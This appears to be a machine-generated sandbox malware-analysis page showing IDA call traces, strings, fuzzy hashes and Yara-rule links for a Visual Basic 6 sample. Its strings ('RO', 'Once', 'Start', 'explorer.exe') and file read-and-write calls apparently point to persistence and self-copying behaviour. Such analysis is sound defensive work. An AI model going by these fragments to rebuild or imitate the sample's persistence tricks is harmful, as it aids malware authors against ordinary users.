Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Ansi$#600Chkstk$#537List$#525#598#606#611#616#661#705Construct2CopyExitProcUnicode
String ID: "\\$at $sc
API String ID: 318166071-2414866108
Opcode ID: 4b8c8b84d047fe4784aaf450267804eaefad0624f37f806294de8aa0bbb905cd
Instruction ID: eba9ca47820d788d97438d3d91098e027868d298501ab0f7648888b7b33149ee
Opcode Fuzzy Hash: 4b8c8b84d047fe4784aaf450267804eaefad0624f37f806294de8aa0bbb905cd
Instruction Fuzzy Hash: 01F12E71900248EFDB14DFA0DE49BDEBBB4FB48305F1081AAE506B72A0DB745A89CF54

Function 0040502A Relevance: 108.9, APIs: 55, Strings: 7, Instructions: 415COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040F89E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0040F8E5

Part of subcall function 00429F50: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,Function_000032B6), ref: 00429F6E
Part of subcall function 00429F50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429F9B
Part of subcall function 00429F50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FA7
Part of subcall function 00429F50: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00429FB6
Part of subcall function 00429F50: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429FCF
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 00429FDF
Part of subcall function 00429F50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 00429FED
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FF6
Part of subcall function 00429F50: __vbaStrToAnsi.MSVBVM60(00000004,?,00000000,00000004,00403208,00000004,?,?,?,00000000,Function_000032B6), ref: 0042A015
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 0042A025
Part of subcall function 00429F50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0042A033
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A03C
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0042A052
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(0042A07C,?,?,?,00000000,Function_000032B6), ref: 0042A06C
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A075

__vbaStrCat.MSVBVM60( RO,00000000,80000002,00000000,Start,00000004,80000002,00000000,Start,00000002,80000001,00000000,00000000,00000000), ref: 0040F95B
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0040F966
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0040F980
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0040F98B

Part of subcall function 0042A090: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
Part of subcall function 0042A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
Part of subcall function 0042A090: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
Part of subcall function 0042A090: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7

__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000,?,?,?,00000000,Function_000032B6), ref: 0040F9A6
__vbaStrCat.MSVBVM60( RO,00000000,?,00000000,Function_000032B6), ref: 0040F9C2
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 0040F9CD
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,00000000,Function_000032B6), ref: 0040F9E6
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 0040F9F1
__vbaFreeStrList.MSVBVM60(00000002,?,00000000,80000002,00000000,?,00000000,Function_000032B6), ref: 0040FA0C

Part of subcall function 004296C0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
Part of subcall function 004296C0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0
Part of subcall function 004296C0: __vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

Part of subcall function 004228E0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
Part of subcall function 004228E0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
Part of subcall function 004228E0: #648.MSVBVM60(0000000A), ref: 00422959
Part of subcall function 004228E0: __vbaFreeVar.MSVBVM60 ref: 00422968
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60(?), ref: 0042297C
Part of subcall function 004228E0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 0042299A
Part of subcall function 004228E0: #570.MSVBVM60(00000000), ref: 004229A1
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
Part of subcall function 004228E0: #525.MSVBVM60(00000000), ref: 004229EC
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 004229F7
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A07
Part of subcall function 004228E0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A22
Part of subcall function 004228E0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422A4A
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60 ref: 00422A68
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000003), ref: 00422A79
Part of subcall function 004228E0: #616.MSVBVM60(00000000), ref: 00422A80

#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0F4,00000000,0042C0D4), ref: 0040FA7B
__vbaStrCat.MSVBVM60( MR,00000000,0042C110,0042C114,0042C118,00000000,0042C0D4), ref: 0040FAA3
__vbaStrMove.MSVBVM60 ref: 0040FAAE
__vbaFreeStr.MSVBVM60(00000000), ref: 0040FABD
__vbaCastObj.MSVBVM60(00000000,004077C4), ref: 0040FAD1
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0040FADC
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000730), ref: 0040FB0F
__vbaFreeObj.MSVBVM60 ref: 0040FB2A
__vbaNew.MSVBVM60(004075DC), ref: 0040FB3C
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040FB47
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000730), ref: 0040FB7A
__vbaFreeObj.MSVBVM60 ref: 0040FB95
__vbaStrCopy.MSVBVM60 ref: 0040FBC0
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040FBDA
__vbaStrCat.MSVBVM60(00000000), ref: 0040FBE1
#529.MSVBVM60(00000008), ref: 0040FBF5

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D136537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

Strings

at , xrefs: 0040FC6F
MR, xrefs: 0040FA9E
RO, xrefs: 0040F956, 0040F9BD
, xrefs: 0040FEAD
Start, xrefs: 0040F914, 0040F933
O, xrefs: 0040502A
Once, xrefs: 0040F97B, 0040F9E1

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$Move$Copy$Error$ChkstkSystem$AnsiBstrUnicode$List$File$#525#529#570#580#648CheckHresultOpen$#616CastGet3Get4Seek
String ID: $ MR$ RO$O$Once$Start$at
API String ID: 3212910503-2307593978
Opcode ID: d7c645850be29222d1b7267b5b78ad533bfe0a9cf40cb1f2a83c7e80c5fd35d6
Instruction ID: 65a71e158419679981a83cfad656d767fba14ec0aa04879cc95e73d8581266b7
Opcode Fuzzy Hash: d7c645850be29222d1b7267b5b78ad533bfe0a9cf40cb1f2a83c7e80c5fd35d6
Instruction Fuzzy Hash: 8F020D75A00208EFDB14DFA0DE89BDE77B4FB48304F508169E505B72A1DB74AA45CF68

Function 00429830 Relevance: 105.3, APIs: 57, Strings: 3, Instructions: 320COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CB91,00000000), ref: 0042984E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042987B
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042988A
__vbaStrCat.MSVBVM60(00000000,?,?,?,?,00000000,004032B6), ref: 004298A3
__vbaStrMove.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 004298AE
__vbaStrCat.MSVBVM60(00000000,?,?,?,?,?,00000000,004032B6), ref: 004298C7
__vbaStrMove.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 004298D2
__vbaStrToAnsi.MSVBVM60(?,?,00000000,000F003F,?,?,?,?,?,?,00000000,004032B6), ref: 004298F2
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,?,?,00000000,004032B6), ref: 00429906
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,?,00000000,004032B6), ref: 00429914
__vbaFreeStr.MSVBVM60 ref: 0042992C
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00429962
__vbaSetSystemError.MSVBVM60(80000002,00000000), ref: 00429973
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00429981
__vbaFreeStr.MSVBVM60 ref: 0042998A
__vbaStrMove.MSVBVM60(?), ref: 004299B3
__vbaLenBstr.MSVBVM60(?), ref: 004299CA
__vbaStrToAnsi.MSVBVM60(?,?,00000000), ref: 004299D9
__vbaStrMove.MSVBVM60(00000000,00000001,00000000), ref: 004299EA
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 004299F5
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00429A05
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00429A13
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00429A2F
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429A47
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,?,00000000,004032B6), ref: 00429A58
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429A66
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429A6F
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429A84
__vbaSetSystemError.MSVBVM60(80000001,00000000,?,?,?,?,00000000,004032B6), ref: 00429A95
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429AA3
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429AAC
__vbaStrCopy.MSVBVM60 ref: 0042999F

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00429ADB
__vbaSetSystemError.MSVBVM60(80000002,00000000), ref: 00429AEC
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00429AFA
__vbaFreeStr.MSVBVM60 ref: 00429B03
__vbaStrCopy.MSVBVM60 ref: 00429B18
__vbaStrMove.MSVBVM60(?), ref: 00429B2C
__vbaLenBstr.MSVBVM60(?), ref: 00429B43
__vbaStrToAnsi.MSVBVM60(?,?,00000000), ref: 00429B52
__vbaStrMove.MSVBVM60(00000000,00000001,00000000), ref: 00429B63
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 00429B6E
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 00429B7E
__vbaStrToUnicode.MSVBVM60(?,?), ref: 00429B8C
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00429BA8
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429BC0
__vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,?,00000000,004032B6), ref: 00429BD1
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429BDF
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429BE8
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429C3B
__vbaFreeStr.MSVBVM60(00429C84,?,?,?,?,00000000,004032B6), ref: 00429C6B
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429C74
__vbaFreeStr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429C7D

Strings

X1@, xrefs: 004298C1
MGG, xrefs: 00429997
MGG, xrefs: 00429B10

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$AnsiError$System$MoveUnicode$BstrCopy$#516#631List$Chkstk
String ID: MGG$MGG$X1@
API String ID: 3619963569-3990769864
Opcode ID: 940beab17d9b24f9990cadcffc4ef0ae816e00d13d285cc8866c0fad8e1e78f3
Instruction ID: cadc88f3378a5b8a7e488d7ed3a86a3d9527093b9cfaa094389870ae1251132b
Opcode Fuzzy Hash: 940beab17d9b24f9990cadcffc4ef0ae816e00d13d285cc8866c0fad8e1e78f3
Instruction Fuzzy Hash: 93D1ABB1900109EFDB04EFE0EE99EDEBB79EF48305F108169F602B6160DB756945CB64

Function 004214E0 Relevance: 103.8, APIs: 69, Instructions: 297COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,00000000), ref: 0042153E
__vbaStrCopy.MSVBVM60(?,00000000), ref: 00421546
__vbaOnError.MSVBVM60(00000001,?,00000000), ref: 0042154A
#648.MSVBVM60(0000000A,?,00000000), ref: 00421562
__vbaFreeVar.MSVBVM60(?,00000000), ref: 00421571
__vbaI2I4.MSVBVM60(?,?,00000000), ref: 00421583
__vbaFileOpen.MSVBVM60(00000020,000000FF,00000000,?,00000000), ref: 0042158A
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421592
#570.MSVBVM60(00000000,?,00000000), ref: 00421595
__vbaLenBstr.MSVBVM60(Function_0000545C,?,00000000), ref: 004215A2
__vbaLenBstr.MSVBVM60(Function_0000545C,?,00000000), ref: 004215C7
#525.MSVBVM60(00000000,?,00000000), ref: 004215CE
__vbaStrMove.MSVBVM60(?,00000000), ref: 004215D9
__vbaI2I4.MSVBVM60(?,00000000), ref: 004215E1
__vbaFileSeek.MSVBVM60(00000000,00000000,?,00000000), ref: 004215E5
__vbaI2I4.MSVBVM60(?,00000000), ref: 004215ED
__vbaGet3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 004215F6
__vbaStrMove.MSVBVM60(?,00000000,?,00000000), ref: 0042162F
__vbaStrCmp.MSVBVM60(00000000,?,00000000), ref: 00421632
__vbaFreeStrList.MSVBVM60(00000003,?,?,?,?,00000000), ref: 0042164F
__vbaI2I4.MSVBVM60(?,00000000), ref: 004217B1
__vbaFileClose.MSVBVM60(00000000,?,00000000), ref: 004217BA
__vbaI2I4.MSVBVM60(?,00000000), ref: 004217BE
__vbaPut3.MSVBVM60(00000004,?,00000000,?,00000000), ref: 004217C7
__vbaStrCopy.MSVBVM60(?,00000000), ref: 004217D5

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrMove.MSVBVM60(?,?,00000000), ref: 0042161E

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrCopy.MSVBVM60(?,00000000), ref: 00421604

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaI2I4.MSVBVM60(?,00000000), ref: 00421663
#570.MSVBVM60(00000000,?,00000000), ref: 00421666
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421679
__vbaFileSeek.MSVBVM60(00000000,00000000,?,00000000), ref: 0042167D
#648.MSVBVM60(0000000A,?,00000000), ref: 00421695
__vbaFreeVar.MSVBVM60(?,00000000), ref: 004216A4
__vbaI2I4.MSVBVM60(?,?,00000000), ref: 004216B0
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000,?,00000000), ref: 004216BA
#525.MSVBVM60(00001000,?,00000000), ref: 004216C5
__vbaStrMove.MSVBVM60(?,00000000), ref: 004216D0
__vbaI2I4.MSVBVM60(?,00000000), ref: 004216D8
#570.MSVBVM60(00000000,?,00000000), ref: 004216DB
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421712
__vbaGet3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 0042171B
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421723
__vbaPut3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 0042172C
#598.MSVBVM60(?,00000000), ref: 00421744
#525.MSVBVM60(-00000001,?,00000000), ref: 00421764
__vbaStrMove.MSVBVM60(?,00000000), ref: 0042176F
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421777
__vbaGet3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 00421780
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421788
__vbaPut3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 00421791
#598.MSVBVM60(?,00000000), ref: 0042179E
__vbaStrMove.MSVBVM60(?,?,00000000), ref: 004217E9

Part of subcall function 00411210: #594.MSVBVM60(?,6D04D9F5,-00000001,6D04D8B1), ref: 0041127A
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60 ref: 00411283
Part of subcall function 00411210: __vbaLenBstr.MSVBVM60 ref: 0041128F
Part of subcall function 00411210: #631.MSVBVM60(?,?,0000000A), ref: 004112C8
Part of subcall function 00411210: __vbaStrMove.MSVBVM60(?,?,0000000A), ref: 004112D3
Part of subcall function 00411210: #516.MSVBVM60(00000000,?,?,0000000A), ref: 004112DA
Part of subcall function 00411210: __vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 004112E9
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 004112F2

__vbaStrMove.MSVBVM60(?,?,00000000), ref: 004217FD
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421805
__vbaPut3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 0042180E
__vbaFreeStrList.MSVBVM60(00000003,?,?,?,?,00000000), ref: 00421822
__vbaI2I4.MSVBVM60 ref: 0042182D
__vbaFileClose.MSVBVM60(00000000), ref: 00421830
__vbaExitProc.MSVBVM60 ref: 00421839
__vbaI2I4.MSVBVM60 ref: 0042184F
__vbaFileClose.MSVBVM60(00000000), ref: 00421858
__vbaI2I4.MSVBVM60 ref: 0042185D
__vbaFileClose.MSVBVM60(00000000), ref: 00421860
__vbaExitProc.MSVBVM60 ref: 00421869
__vbaFreeStr.MSVBVM60(004218B2), ref: 004218A0
__vbaFreeStr.MSVBVM60 ref: 004218A5
__vbaFreeStr.MSVBVM60 ref: 004218AA
__vbaFreeStr.MSVBVM60 ref: 004218AF
__vbaErrorOverflow.MSVBVM60(?,00000000), ref: 004218C9

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

